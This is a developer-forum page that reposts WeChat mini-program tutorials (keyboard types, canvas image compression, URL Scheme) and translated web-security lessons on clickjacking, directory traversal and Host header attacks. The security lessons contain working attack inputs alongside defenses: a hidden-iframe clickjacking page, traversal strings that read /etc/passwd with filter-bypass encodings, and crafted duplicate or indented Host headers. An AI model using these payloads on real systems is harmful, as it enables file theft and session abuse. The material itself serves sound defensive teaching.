注册
环信即时通讯云

环信即时通讯云

单聊、群聊、聊天室...
环信开发文档

环信开发文档

环信FAQ

环信FAQ

集成常见问题及答案
RTE开发者社区

RTE开发者社区

汇聚音视频领域技术干货,分享行业资讯
技术讨论区

技术讨论区

技术交流、答疑
资源下载

资源下载

收集了海量宝藏开发资源
iOS Library

iOS Library

不需要辛辛苦苦的去找轮子, 这里都有
Android Library

Android Library

不需要辛辛苦苦的去找轮子, 这里都有

键盘设置如何优化小程序使用体验?

在小程序开发过程中,用户输入是必不可少的,我们经常会需要用户输入一些内容,来完成产品收集用户信息的需求。在这种情况下,我们可以考虑借助小程序提供的一些和键盘相关的 API 来优化小程序的使用体验。Input 组件的 type 属性从小程序的 1.0 版本开始,...
继续阅读 »

在小程序开发过程中,用户输入是必不可少的,我们经常会需要用户输入一些内容,来完成产品收集用户信息的需求。

在这种情况下,我们可以考虑借助小程序提供的一些和键盘相关的 API 来优化小程序的使用体验。

Input 组件的 type 属性


从小程序的 1.0 版本开始,就支持为 input 组件设置 type,不同的 type 会显示不同的手机键盘。默认情况下,显示的是 text 文本输入键盘,这个键盘的特点是显示所有的内容,可以适用于所有的场景。

但,适用于所有场景也就意味着不适用于所有场景,总会在每一个场景中有着种种不便,因此,在实际的开发中,为了获得更佳的体验,你可以通过设置不同的 Type 来控制实际的键盘显示情况。


除了默认的 text 类以外,你还可以使用 number(数字输入键盘)、idcard 身份证输入键盘和 digit 带小数点的数字键盘。


你可以根据自己的实际使用场景来设置不同的类型,比如说

  • 如果你的小程序的验证码都是数字的,那么你给出一个 text 类型的键盘,显然不如给一个 number 类型的键盘更合适。
  • 如果你的小程序中涉及到了手机号的输入,那么这种情况下你就可以选择使用 number 类型的键盘,来优化用户输入时的体验。

这里的思路是类似的,当你预期用户输入的内容只有数字,就可以考虑 numberdigitidcard 等类型,来优化你的小程序的实际使用体验。


## 总结

input 组件默认提供的 四种 type ,可以通过选择不同的类型,从而获得不同的体验效果,从而对于你的小程序体验进行优化和推进。

原文链接:https://segmentfault.com/a/1190000025160488

收起阅读 »

小程序canvas实现图片压缩

我们需要在选择图片后对图片做一次安全校验启用云开发现在我们需要一个 后端接口 来实现图片的 安全校验 功能这时候临时搭个Node服务好像不太现实又不是什么正经项目于是就想到了微信的云开发功能用起来真实方便快捷至于图片的校...
继续阅读 »




我们需要在选择图片后

对图片做一次安全校验

启用云开发

现在我们需要一个 后端接口 来实现图片的 安全校验 功能

这时候临时搭个Node服务好像不太现实

又不是什么正经项目

于是就想到了微信的云开发功能

用起来真实方便快捷

至于图片的校验方法

直接用云函数调用 security.imgSecCheck 接口就好了

流程

chooseImage() {
/// 用户选择图片
wx.chooseImage({
count: 1,
sizeType: ['original', 'compressed'],
sourceType: ['album', 'camera'],
success: async res => {
if (res.errMsg === 'chooseImage:ok') {
wx.showLoading({ title: '图片加载中' })
// 获取图片临时地址
const path = res.tempFilePaths[0]
// 将图片地址实例化为图片
const image = await loadImage(path, this.canvas)
// 压缩图片
const filePath = await compress.call(this, image, 'canvas_compress')
// 校验图片合法性
const imgValid = await checkImage(filePath)
wx.hideLoading()
if (!imgValid) return
// 图片安全检测通过,执行后续操作
...
}
})
}


所以在图片上传前要先对超出尺寸的图片进行压缩处理
基本逻辑就是

超出尺寸的图片等比例缩小就好了

我们先要有一个canvas元素

用来处理需要压缩的图片

<template>
<view class="menu-background">
<view class="item replace" bindtap="chooseImage">
<i class="iconfont icon-image"></i>
<text class="title">图片</text>
<text class="sub-title">图片仅供本地使用</text>
</view>
//
// canvas
//
<canvas
type="2d"
id="canvas_compress"
class="canvas-compress"
style="width:
{{canvasCompress.width}}px; height: {{canvasCompress.height}}px"
/>

</view>
</template>

将canvas移到视野不可见到位置

.canvas-compress
position absolute
left 0
top 1000px

图片进行压缩处理

/**
* 压缩图片
* 将尺寸超过规范的图片最小限度压缩
* @param {Image} image 需要压缩的图片实例
* @param {String} canvasId 用来处理压缩图片的canvas对应的canvasId
* @param {Object} config 压缩的图片规范 -> { maxWidth 最大宽度, maxHeight 最小宽度 }
* @return {Promise} promise返回 压缩后的 图片路径
*/
export default function (image, canvasId, config = { maxWidth: 750, maxHeight: 1334 }) {
// 引用的组件传入的this作用域
const _this = this
return new Promise((resolve, reject) => {
// 获取图片原始宽高
let width = image.width
let height = image.height
// 宽度 > 最大限宽 -> 重置尺寸
if (width > config.maxWidth) {
const ratio = width / config.maxWidth
width = config.maxWidth
height = height / ratio
}
// 高度 > 最大限高度 -> 重置尺寸
if (height > config.maxHeight) {
const ratio = height / config.maxHeight
height = config.maxHeight
width = width / ratio
}
// 设置canvas的css宽高
_this.canvasCompress.width = width
_this.canvasCompress.height = height
const query = this.createSelectorQuery()
query
.select(`#${canvasId}`)
.fields({ node: true, size: true })
.exec(async res => {
// 获取 canvas 实例
const canvas = res[0].node
// 获取 canvas 绘图上下文
const ctx = canvas.getContext('2d')
// 根据设备dpr处理尺寸
const dpr = wx.getSystemInfoSync().pixelRatio
canvas.width = width * dpr
canvas.height = height * dpr
ctx.scale(dpr, dpr)
// 将图片绘制到 canvas
ctx.drawImage(image, 0, 0, width, height)
// 将canvas图片上传到微信临时文件
wx.canvasToTempFilePath({
canvas,
x: 0,
y: 0,
destWidth: width,
destHeight: height,
complete (res) {
if (res.errMsg === 'canvasToTempFilePath:ok') {
// 返回临时文件路径
resolve(res.tempFilePath)
}
},
fail(err) {
reject(err)
}
})
})
})
}

图片安全校验

云函数 checkImage.js

const cloud = require('wx-server-sdk')
cloud.init({
env: cloud.DYNAMIC_CURRENT_ENV
})
/**
* 校验图片合法性
* @param {*} event.fileID 微信云存储的图片ID
* @return {Number} 0:校验失败;1:校验通过
*/
exports.main = async (event, context) => {
const contentType = 'image/png'
const fileID = event.fileID
try {
// 根据fileID下载图片
const file = await cloud.downloadFile({
fileID
})
const value = file.fileContent
// 调用 imgSecCheck 借口,校验不通过接口会抛错
// 必要参数 media { contentType, value }
const result = await cloud.openapi.security.imgSecCheck({
media: {
contentType,
value
}
})
return 1
} catch (err) {
return 0
}
}

组件调用云函数封装

/**
* 校验图片是否存在敏感信息
* @param { String } filePath
* @return { Promise } promise返回校验结果
*/
export default function (filePath) {
return new Promise((resolve, reject) => {
// 先将图片上传到云开发存储
wx.cloud.uploadFile({
cloudPath: `${new Date().getTime()}.png`,
filePath,
success (res) {
// 调用云函数-checkImage
wx.cloud.callFunction({
name: 'checkImage',
data: {
fileID: res.fileID
},
success (res) {
// res.result -> 0:存在敏感信息;1:校验通过
resolve(res.result)
if (!res.result) {
wx.showToast({
title: '图片可能含有敏感信息, 请重新选择',
icon: 'none'
})
}
},
fail (err) {
reject(err)
}
})
},
fail (err) {
reject(err)
}
})
})
}

原文链接:https://segmentfault.com/a/1190000038685508


收起阅读 »

小程序的「获取URL Scheme」能力

最近,微信小程序更新了一项新的能力:「获取URL Scheme」,这是一项非常有用的功能,你可以借助他,在微信生态中实现各种有意思的营销方式。什么是 URL Scheme微信提供了一个接口,可以生成如 weixin://dl/business/?t=...
继续阅读 »

最近,微信小程序更新了一项新的能力:「获取URL Scheme」,这是一项非常有用的功能,你可以借助他,在微信生态中实现各种有意思的营销方式。

什么是 URL Scheme

微信提供了一个接口,可以生成如 weixin://dl/business/?t= *TICKET* 的 URL Scheme。你可以在系统自带的浏览器,比如 Safari 中访问这个地址,自动跳转到你自己的微信小程序中。

URL Scheme 能实现什么?

URL Scheme 的用途最大自然是各种营销用途,比如短信营销。不过,如果我们发散思维,就可以知道,URL Scheme 可以有更多的用途。

URL Scheme 在 iOS 系统应用中是比较多的,不少 iOS 的 Power User 都会借助 URL Scheme 来自定义自己的手机中的一些操作,实现特别的操作。我们可以参考 iOS 的 Power User 的用法,理解微信的 URL Scheme 的用法

  • 通过快捷指令来打开特定的 App
  • 在浏览器中嵌入 URL Scheme 来打开应用的特定页面。

如果我们将这些能力迁移到微信生态中,就可以发现,这里我们同样可以实现:

  • 在公众号网页中嵌入 URL Scheme ,从而实现公众号内网页与小程序无缝链接
  • 在短信中嵌入 URL Scheme ,从而实现短信营销,轻松的与自己的产品整合
  • 根据 URL Scheme ,生成一些特殊的二维码,嵌入在图片中

不仅如此,因为目前微信的安装率远高于普通 App,因此,你在进行营销的时候,就再也无需担心用户没有安装自己的 App,大可以先让用户进入到小程序,成为用户后,再引导用户下载 App,提升产品体验

URL Scheme 的劣势

虽然很好,不过 URL Scheme 目前还有一些问题,比如只限于国内非个人主体小程序,对于个人开发者来说就无法使用了。

总结

URL Scheme 的开放,对于微信生态来说,是一个很有力的工具,开发者可以借助与 URL Scheme 来完成自己在微信生态中的推广。在未来,我们可以看到,越来越多的开发者借助于 URL Scheme ,来实现一些很有意思的营销方式。

让我们拭目以待。

原文链接:https://segmentfault.com/a/1190000038919562


收起阅读 »

Web 安全 之 Clickjacking

Clickjacking ( UI redressing )在本节中,我们将解释什么是 clickjacking 点击劫持,并描述常见的点击劫持攻击示例,以及讨论如何防御这些攻击。什么是点击劫持点击劫持是一种基于界面的攻击,通过诱导用户点击钓鱼网站中的被隐藏了...
继续阅读 »

Clickjacking ( UI redressing )

在本节中,我们将解释什么是 clickjacking 点击劫持,并描述常见的点击劫持攻击示例,以及讨论如何防御这些攻击。

什么是点击劫持

点击劫持是一种基于界面的攻击,通过诱导用户点击钓鱼网站中的被隐藏了的可操作的危险内容。

例如:某个用户被诱导访问了一个钓鱼网站(可能是点击了电子邮件中的链接),然后点击了一个赢取大奖的按钮。实际情况则是,攻击者在这个赢取大奖的按钮下面隐藏了另一个网站上向其他账户进行支付的按钮,而结果就是用户被诱骗进行了支付。这就是一个点击劫持攻击的例子。这项技术实际上就是通过 iframe 合并两个页面,真实操作的页面被隐藏,而诱骗用户点击的页面则显示出来。点击劫持攻击与 CSRF 攻击的不同之处在于,点击劫持需要用户执行某种操作,比如点击按钮,而 CSRF 则是在用户不知情或者没有输入的情况下伪造整个请求。


针对 CSRF 攻击的防御措施通常是使用 CSRF token(针对特定会话、一次性使用的随机数)。而点击劫持无法则通过 CSRF token 缓解攻击,因为目标会话是在真实网站加载的内容中建立的,并且所有请求均在域内发生。CSRF token 也会被放入请求中,并作为正常行为的一部分传递给服务器,与普通会话相比,差异就在于该过程发生在隐藏的 iframe 中。

如何构造一个基本的点击劫持攻击

点击劫持攻击使用 CSS 创建和操作图层。攻击者将目标网站通过 iframe 嵌入并隐藏。使用样式标签和参数的示例如下:

<head>
<style>
#target_website {
position:relative;
width:128px;
height:128px;
opacity:0.00001;
z-index:2;
}
#decoy_website {
position:absolute;
width:300px;
height:400px;
z-index:1;
}
</style>
</head>
...
<body>
<div id="decoy_website">
...decoy web content here...
</div>
<iframe id="target_website" src="https://vulnerable-website.com">
</iframe>
</body>

目标网站 iframe 被定位在浏览器中,使用适当的宽度和高度位置值将目标动作与诱饵网站精确重叠。无论屏幕大小,浏览器类型和平台如何,绝对位置值和相对位置值均用于确保目标网站准确地与诱饵重叠。z-index 决定了 iframe 和网站图层的堆叠顺序。透明度被设置为零,因此 iframe 内容对用户是透明的。浏览器可能会基于 iframe 透明度进行阈值判断从而自动进行点击劫持保护(例如,Chrome 76 包含此行为,但 Firefox 没有),但攻击者仍然可以选择适当的透明度值,以便在不触发此保护行为的情况下获得所需的效果。

预填写输入表单

一些需要表单填写和提交的网站允许在提交之前使用 GET 参数预先填充表单输入。由于 GET 参数在 URL 中,那么攻击者可以直接修改目标 URL 的值,并将透明的“提交”按钮覆盖在诱饵网站上。

Frame 拦截脚本

只要网站可以被 frame ,那么点击劫持就有可能发生。因此,预防性技术的基础就是限制网站 frame 的能力。比较常见的客户端保护措施就是使用 web 浏览器的 frame 拦截或清理脚本,比如浏览器的插件或扩展程序,这些脚本通常是精心设计的,以便执行以下部分或全部行为:

  • 检查并强制当前窗口是主窗口或顶部窗口
  • 使所有 frame 可见。
  • 阻止点击可不见的 frame
  • 拦截并标记对用户的潜在点击劫持攻击。

Frame 拦截技术一般特定于浏览器和平台,且由于 HTML 的灵活性,它们通常也可以被攻击者规避。由于这些脚本也是 JavaScript ,浏览器的安全设置也可能会阻止它们的运行,甚至浏览器直接不支持 JavaScript 。攻击者也可以使用 HTML5 iframe 的 sandbox 属性去规避 frame 拦截。当 iframe 的 sandbox 设置为 allow-forms 或 allow-scripts,且 allow-top-navigation 被忽略时,frame 拦截脚本可能就不起作用了,因为 iframe 无法检查它是否是顶部窗口:

<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms"></iframe>

当 iframe 的 allow-forms 和 allow-scripts 被设置,且 top-level 导航被禁用,这会抑制 frame 拦截行为,同时允许目标站内的功能。

结合使用点击劫持与 DOM XSS 攻击

到目前为止,我们把点击劫持看作是一种独立的攻击。从历史上看,点击劫持被用来执行诸如在 Facebook 页面上增加“点赞”之类的行为。然而,当点击劫持被用作另一种攻击的载体,如 DOM XSS 攻击,才能发挥其真正的破坏性。假设攻击者首先发现了 XSS 攻击的漏洞,则实施这种组合攻击就很简单了,只需要将 iframe 的目标 URL 结合 XSS ,以使用户点击按钮或链接,从而执行 DOM XSS 攻击。

多步骤点击劫持

攻击者操作目标网站的输入可能需要执行多个操作。例如,攻击者可能希望诱骗用户从零售网站购买商品,而在下单之前还需要将商品添加到购物篮中。为了实现这些操作,攻击者可能使用多个视图或 iframe ,这也需要相当的精确性,攻击者必须非常小心。

如何防御点击劫持攻击

我们在上文中已经讨论了一种浏览器端的预防机制,即 frame 拦截脚本。然而,攻击者通常也很容易绕过这种防御。因此,服务端驱动的协议被设计了出来,以限制浏览器 iframe 的使用并减轻点击劫持的风险。

点击劫持是一种浏览器端的行为,它的成功与否取决于浏览器的功能以及是否遵守现行 web 标准和最佳实践。服务端的防御措施就是定义 iframe 组件使用的约束,然而,其实现仍然取决于浏览器是否遵守并强制执行这些约束。服务端针对点击劫持的两种保护机制分别是 X-Frame-Options 和 Content Security Policy 。

X-Frame-Options

X-Frame-Options 最初由 IE8 作为非官方的响应头引入,随后也在其他浏览器中被迅速采用。X-Frame-Options 头为网站所有者提供了对 iframe 使用的控制(就是说第三方网站不能随意的使用 iframe 嵌入你控制的网站),比如你可以使用 deny 直接拒绝所有 iframe 引用你的网站:

X-Frame-Optionsdeny

或者使用 sameorigin 限制为只有同源网站可以引用:

X-Frame-Optionssameorigin

或者使用 allow-from 指定白名单:

X-Frame-Options: allow-from https://normal-website.com

X-Frame-Options 在不同浏览器中的实现并不一致(比如,Chrome 76 或 Safari 12 不支持 allow-from)。然而,作为多层防御策略中的一部分,其与 Content Security Policy 结合使用时,可以有效地防止点击劫持攻击。

Content Security Policy

Content Security Policy (CSP) 内容安全策略是一种检测和预防机制,可以缓解 XSS 和点击劫持等攻击。CSP 通常是由 web 服务作为响应头返回,格式为:

Content-Security-Policypolicy

其中的 policy 是一个由分号分隔的策略指令字符串。CSP 向客户端浏览器提供有关允许的 Web 资源来源的信息,浏览器可以将这些资源应用于检测和拦截恶意行为。

有关点击劫持的防御,建议在 Content-Security-Policy 中增加 frame-ancestors 策略。

  • frame-ancestors 'none' 类似于 X-Frame-Options: deny ,表示拒绝所有 iframe 引用。
  • frame-ancestors 'self' 类似于 X-Frame-Options: sameorigin ,表示只允许同源引用。

示例:

Content-Security-Policyframe-ancestors 'self';

或者指定网站白名单:

Content-Security-Policyframe-ancestors normal-website.com;

为了有效地防御点击劫持和 XSS 攻击,CSP 需要进行仔细的开发、实施和测试,并且应该作为多层防御策略中的一部分使用。

原文链接:https://segmentfault.com/a/1190000039341244

收起阅读 »

Web 安全 之 Directory traversal

Directory traversal - 目录遍历在本节中,我们将介绍什么是目录遍历,描述如何执行路径遍历攻击和绕过常见障碍,并阐明如何防止路径遍历漏洞。什么是目录遍历?目录遍历(也称为文件路径遍历)是一个 web 安全漏洞,此漏洞使攻击者能够读取运行应用程...
继续阅读 »

Directory traversal - 目录遍历

在本节中,我们将介绍什么是目录遍历,描述如何执行路径遍历攻击和绕过常见障碍,并阐明如何防止路径遍历漏洞。


什么是目录遍历?

目录遍历(也称为文件路径遍历)是一个 web 安全漏洞,此漏洞使攻击者能够读取运行应用程序的服务器上的任意文件。这可能包括应用程序代码和数据、后端系统的凭据以及操作系统相关敏感文件。在某些情况下,攻击者可能能够对服务器上的任意文件进行写入,从而允许他们修改应用程序数据或行为,并最终完全控制服务器。

通过目录遍历读取任意文件

假设某个应用程序通过如下 HTML 加载图像:

![](/loadImage?filename=218.png)

这个 loadImage URL 通过 filename 文件名参数来返回指定文件的内容,假设图像本身存储在路径为 /var/www/images/ 的磁盘上。应用程序基于此基准路径与请求的 filename 文件名返回如下路径的图像:

/var/www/images/218.png

如果该应用程序没有针对目录遍历攻击采取任何防御措施,那么攻击者可以请求类似如下 URL 从服务器的文件系统中检索任意文件:

https://insecure-website.com/loadImage?filename=../../../etc/passwd

这将导致如下路径的文件被返回:

/var/www/images/../../../etc/passwd

../ 表示上级目录,因此这个文件其实就是:

/etc/passwd

在 Unix 操作系统上,这个文件是一个内容为该服务器上注册用户详细信息的标准文件。

在 Windows 系统上,..\ 和 ../ 的作用相同,都表示上级目录,因此检索标准操作系统文件可以通过如下方式:

https://insecure-website.com/loadImage?filename=..\..\..\windows\win.ini

利用文件路径遍历漏洞的常见障碍

许多将用户输入放入文件路径的应用程序实现了某种应对路径遍历攻击的防御措施,然而这些措施却通常可以被规避。

如果应用程序从用户输入的 filename 中剥离或阻止 ..\ 目录遍历序列,那么也可以使用各种技巧绕过防御。

你可以使用从系统根目录开始的绝对路径,例如 filename=/etc/passwd 这样直接引用文件而不使用任何 ..\ 形式的遍历序列。

你也可以嵌套的遍历序列,例如 ....// 或者 ....\/ ,即使内联序列被剥离,其也可以恢复为简单的遍历序列。

你还可以使用各种非标准编码,例如 ..%c0%af 或者 ..%252f 以绕过输入过滤器。

如果应用程序要求用户提供的文件名必须以指定的文件夹开头,例如 /var/www/images ,则可以使用后跟遍历序列的方式绕过,例如:

filename=/var/www/images/../../../etc/passwd

如果应用程序要求用户提供的文件名必须以指定的后缀结尾,例如 .png ,那么可以使用空字节在所需扩展名之前有效地终止文件路径并绕过检查:

filename=../../../etc/passwd%00.png

如何防御目录遍历攻击

防御文件路径遍历漏洞最有效的方式是避免将用户提供的输入直接完整地传递给文件系统 API 。许多实现此功能的应用程序部分可以重写,以更安全的方式提供相同的行为。

如果认为将用户输入传递到文件系统 API 是不可避免的,则应该同时使用以下两层防御措施:

  • 应用程序对用户输入进行严格验证。理想情况下,通过白名单的形式只允许明确的指定值。如果无法满足需求,那么应该验证输入是否只包含允许的内容,例如纯字母数字字符。
  • 验证用户输入后,应用程序应该将输入附加到基准目录下,并使用平台文件系统 API 规范化路径,然后验证规范化后的路径是否以基准目录开头。

下面是一个简单的 Java 代码示例,基于用户输入验证规范化路径:

File file = new File(BASE_DIRECTORY, userInput);
if (file.getCanonicalPath().startsWith(BASE_DIRECTORY)) {
// process file
}

原文链接:https://segmentfault.com/a/1190000039307155


收起阅读 »

Web 安全 之 HTTP Host header attacks

HTTP Host header attacks在本节中,我们将讨论错误的配置和有缺陷的业务逻辑如何通过 HTTP Host 头使网站遭受各种攻击。我们将概述识别易受 HTTP Host 头攻击的网站的高级方法,并演示如何利用此方法。最后,我们将提供一些有关如...
继续阅读 »

HTTP Host header attacks

在本节中,我们将讨论错误的配置和有缺陷的业务逻辑如何通过 HTTP Host 头使网站遭受各种攻击。我们将概述识别易受 HTTP Host 头攻击的网站的高级方法,并演示如何利用此方法。最后,我们将提供一些有关如何保护自己网站的一般建议。


什么是 HTTP Host 头

从 HTTP/1.1 开始,HTTP Host 头是一个必需的请求头,其指定了客户端想要访问的域名。例如,当用户访问 https://portswigger.net/web-security 时,浏览器将会发出一个包含 Host 头的请求:

GET /web-security HTTP/1.1
Host: portswigger.net

在某些情况下,例如当请求被中介系统转发时,Host 值可能在到达预期的后端组件之前被更改。我们将在下面更详细地讨论这种场景。

HTTP Host 头的作用是什么

HTTP Host 头的作用就是标识客户端想要与哪个后端组件通信。如果请求没有 Host 头或者 Host 格式不正确,则把请求路由到预期的应用程序时会出现问题。

历史上因为每个 IP 地址只会托管单个域名的内容,所以并不存在模糊性。但是如今,由于基于云的解决方案和相关架构的不断增长,使得多个网站和应用程序在同一个 IP 地址访问变得很常见,这种方式也越来越受欢迎,部分原因是 IPv4 地址耗尽。

当多个应用程序通过同一个 IP 地址访问时,通常是以下情况之一。

虚拟主机

一种可能的情况是,一台 web 服务器部署多个网站或应用程序,这可能是同一个所有者拥有多个网站,也有可能是不同网站的所有者部署在同一个共享平台上。这在以前不太常见,但在一些基于云的 SaaS 解决方案中仍然会出现。

在这种情况下,尽管每个不同的网站都有不同的域名,但是他们都与服务器共享同一个 IP 地址。这种单台服务器托管多个网站的方式称为“虚拟主机”。

对于访问网站的普通用户来说,通常无法区分网站使用的是虚拟主机还是自己的专用服务器。

通过中介路由流量

另一种常见的情况是,网站托管在不同的后端服务器上,但是客户端和服务器之间的所有流量都会通过中间系统路由。中间系统可能是一个简单的负载均衡器或某种反向代理服务器。当客户端通过 CDN 访问网站时,这种情况尤其普遍。

在这种情况下,即使不同的网站托管在不同的后端服务器上,但是他们的所有域名都需要解析为中间系统这个 IP 地址。这也带来了一些与虚拟主机相同的挑战,即反向代理或负载均衡服务器需要知道怎么把每个请求路由到哪个合适的后端。

HTTP Host 头如何解决这个问题

解决上述的情况,都需要依赖于 Host 头来指定请求预期的接收方。一个常见的比喻是给住在公寓楼里的某个人写信的过程。整栋楼都是同一个街道地址,但是这个街道地址后面有许多个不同的公寓房间,每个公寓房间都需要以某种方式接受正确的邮件。解决这个问题的一个方法就是简单地在地址中添加公寓房间号码或收件人的姓名。对于 HTTP 消息而言,Host 头的作用与之类似。

当浏览器发送请求时,目标 URL 将解析为特定服务器的 IP 地址,当服务器收到请求时,它使用 Host 头来确定预期的后端并相应地转发该请求。

什么是 HTTP Host 头攻击

HTTP Host 头攻击会利用以不安全的方式处理 Host 头的漏洞网站。如果服务器隐式信任 Host 标头,且未能正确验证或转义它,则攻击者可能会使用此输入来注入有害的有效负载,以操纵服务器端的行为。将有害负载直接注入到 Host 头的攻击通常称为 "Host header injection"(主机头注入攻击)。

现成的 web 应用通常不知道它们部署在哪个域上,除非在安装过程中手动配置指定了它。此时当他们需要知道当前域时,例如要生成电子邮件中包含的 URL ,他们可能会从 Host 头检索域名:

<a href="https://_SERVER['HOST']/support">Contact support</a>

标头的值也可以用于基础设施内不同系统之间的各种交互。

由于 Host 头实际上用户可以控制的,因此可能会导致很多问题。如果输入没有正确的转义或验证,则 Host 头可能会成为利用其他漏洞的潜在载体,最值得注意的是:

  • Web 缓存中毒
  • 特定功能中的业务逻辑缺陷
  • 基于路由的 SSRF
  • 典型的服务器漏洞,如 SQL 注入

HTTP Host 漏洞是如何产生的

HTTP Host 漏洞的产生通常是基于存在缺陷的假设,即误认为 Host 头是用户不可控制的。这导致 Host 头被隐式信任了,其值未进行正确的验证或转义,而攻击者可以使用工具轻松地修改 Host 。

即使 Host 头本身得到了安全的处理,也可以通过注入其他标头来覆盖 Host ,这取决于处理传入请求的服务器的配置。有时网站所有者不知道默认情况下这些可以覆盖 Host 的标头是受支持的,因此,可能不会进行严格的审查。

实际上,许多漏洞并不是由于编码不安全,而是由于相关基础架构中的一个或多个组件的配置不安全。之所以会出现这些配置问题,是因为网站将第三方技术集成到其体系架构中,而未完全了解配置选项及其安全含义。

利用 HTTP Host 头漏洞

详细内容请查阅本章下文。

如何防御 HTTP Host 头攻击

防御 HTTP Host 头攻击最简单的方法就是避免在服务端代码中使用 Host 头。仔细检查下每个 URL 地址是否真的绝对需要,你经常会发现你可以用一个相对的 URL 地址替代。这个简单的改变可以帮助你防御 web 缓存中毒。

其他防御措施有:

保护绝对的 URL 地址

如果你必须使用绝对的 URL 地址,则应该在配置文件中手动指定当前域名并引用此值,而不是 Host 头的值。这种方法将消除密码重置中毒的威胁。

验证 Host 头

如果必须使用 Host 头,请确保正确验证它。这包括对照允许域的白名单进行检查,拒绝或重定向无法识别的 Host 的任何请求。你应该查阅所使用的框架的相关文档。例如 Django 框架在配置文件中提供了 ALLOWED_HOSTS 选项,这将减少你遭受主机标头注入攻击的风险。

不支持能够重写 Host 的头

检查你是否不支持可能用于构造攻击的其他标头,尤其是 X-Forwarded-Host ,牢记默认情况下这些头可能是被允许的。

使用内部虚拟主机时要小心

使用虚拟主机时,应避免将内部网站和应用程序托管到面向公开内容的服务器上。否则,攻击者可能会通过 Host 头来访问内部域。


如何识别和利用 HTTP Host 头漏洞

在本节中,我们将更仔细地了解如何识别网站是否存在 HTTP Host 头漏洞。然后,我们将提供一些示例,说明如何利用此漏洞。

如何使用 HTTP Host 头测试漏洞

要测试网站是否易受 HTTP Host 攻击,你需要一个拦截代理(如 Burp proxy )和手动测试工具(如 Burp Repeater 和 Burp intruiter )。

简而言之,你需要能够修改 Host 标头,并且你的请求能够到达目标应用程序。如果是这样,则可以使用此标头来探测应用程序,并观察其对响应的影响。

提供一个任意的 Host 头

在探测 Host 头注入漏洞时,第一步测试是给 Host 头设置任意的、无法识别的域名,然后看看会发生什么。

一些拦截代理直接从 Host 头连接目标 IP 地址,这使得这种测试几乎不可能;对报头所做的任何更改都会导致请求发送到完全不同的 IP 地址。然而,Burp Suite 精确地保持了主机头和目标 IP 地址之间的分离,这种分离允许你提供所需的任意或格式错误的主机头,同时仍然确保将请求发送到预期目标。

有时,即使你提供了一个意外的 Host 头,你仍然可以访问目标网站。这可能有很多原因。例如,服务器有时设置了默认或回退选项,以处理无法识别的域名请求。如果你的目标网站碰巧是默认的,那你就走运了。在这种情况下,你可以开始研究应用程序对 Host 头做了什么,以及这种行为是否可利用。

另一方面,由于 Host 头是网站工作的基本部分,篡改它通常意味着你将无法访问目标应用程序。接收到你的请求的反向代理或负载平衡器可能根本不知道将其转发到何处,从而响应 "Invalid Host header" 这种错误。如果你的目标很可能是通过 CDN 访问的。在这种情况下,你应该继续尝试下面概述的一些技术。

检查是否存在验证缺陷

你可能会发现你的请求由于某种安全措施而被阻止,而不是收到一个 "Invalid Host header" 响应。例如,一些网站将验证 Host 头是否与 TLS 握手的 SNI 匹配。这并不意味着它们对 Host 头攻击免疫。

你应该试着理解网站是如何解析 Host 头的。这有时会暴露出一些可以用来绕过验证的漏洞。例如,一些解析算法可能会忽略主机头中的端口,这意味着只有域名被验证。只要你提供一个非数字端口,保持域名不变,就可以确保你的请求到达目标应用程序,同时可以通过端口注入有害负载。

GET /example HTTP/1.1
Host: vulnerable-website.com:bad-stuff-here

某些网站的验证逻辑可能是允许任意子域。在这种情况下,你可以通过注册任意子域名来完全绕过验证,该域名以白名单中域名的相同字符串结尾:

GET /example HTTP/1.1
Host: notvulnerable-website.com

或者,你可以利用已经泄露的不安全的子域:

GET /example HTTP/1.1
Host: hacked-subdomain.vulnerable-website.com

有关常见域名验证缺陷的进一步示例,请查看我们有关规避常见的 SSRF 防御和 Origin 标头解析错误的内容。

发送不明确的请求

验证 Host 的代码和易受攻击的代码通常在应用程序的不同组件中,甚至位于不同的服务器上。通过识别和利用它们处理 Host 头的方式上的差异,你可以发出一个模棱两可的请求。

以下是几个示例,说明如何创建模棱两可的请求。

注入重复的 Host 头

一种可能的方法是尝试添加重复的 Host 头。诚然,这通常只会导致你的请求被阻止。但是,由于浏览器不太可能发送这样的请求,你可能会偶尔发现开发人员没有预料到这种情况。在这种情况下,你可能会发现一些有趣的行为怪癖。

不同的系统和技术将以不同的方式处理这种情况,但具体使用哪个 Host 头可能会存在差异,你可以利用这些差异。考虑以下请求:

GET /example HTTP/1.1
Host: vulnerable-website.com
Host: bad-stuff-here

假设转发服务优先使用第一个标头,但是后端服务器优先使用最后一个标头。在这种情况下,你可以使用第一个报头来确保你的请求被路由到预期的目标,并使用第二个报头将你的有效负载传递到服务端代码中。

提供一个绝对的 URL 地址

虽然请求行通常是指定请求域上的相对路径,但许多服务器也被配置为理解绝对 URL 地址的请求。

同时提供绝对 URL 和 Host 头所引起的歧义也可能导致不同系统之间的差异。规范而言,在路由请求时,应优先考虑请求行,但实际上并非总是如此。你可以像重复 Host 头一样利用这些差异。

GET https://vulnerable-website.com/ HTTP/1.1
Host: bad-stuff-here

请注意,你可能还需要尝试不同的协议。对于请求行是包含 HTTP 还是 HTTPS URL,服务器的行为有时会有所不同。

添加 line wrapping

你还可以给 HTTP 头添加空格缩进,从而发现奇怪的行为。有些服务器会将缩进的标头解释为换行,因此将其视为前一个标头值的一部分。而其他服务器将完全忽略缩进的标头。

由于对该场景的处理极不一致,处理你的请求的不同系统之间通常会存在差异。考虑以下请求:

GET /example HTTP/1.1
Host: bad-stuff-here
Host: vulnerable-website.com

网站可能会阻止具有多个 Host 标头的请求,但是你可以通过缩进其中一个来绕过此验证。如果转发服务忽略缩进的标头,则请求会被当做访问 vulnerable-website.com 的普通请求。现在让我们假设后端忽略前导空格,并在出现重复的情况下优先处理第一个标头,这时你就可以通过 "wrapped" Host 头传递任意值。

其他技术

这只是发布有害且模棱两可的请求的许多可能方法中的一小部分。例如,你还可以采用 HTTP 请求走私技术来构造 Host 头攻击。请求走私的详细内容请查看该主题文章。

注入覆盖 Host 的标头

即使不能使用不明确的请求重写 Host 头,也有其他在保持其完整的同时重写其值的可能。这包括通过其他的 HTTP Host 标头注入有效负载,这些标头的设计就是为了达到这个目的。

正如我们已经讨论过的,网站通常是通过某种中介系统访问的,比如负载均衡器或反向代理。在这种架构中,后端服务器接收到的 Host 头可能是这些中间系统的域名。这通常与请求的功能无关。

为了解决这个问题,前端服务器(转发服务)可以注入 X-Forwarded-Host 头来标明客户端初始请求的 Host 的原始值。因此,当 X-Forwarded-Host 存在时,许多框架会引用它。即使没有前端使用此标头,也可以观察到这种行为。

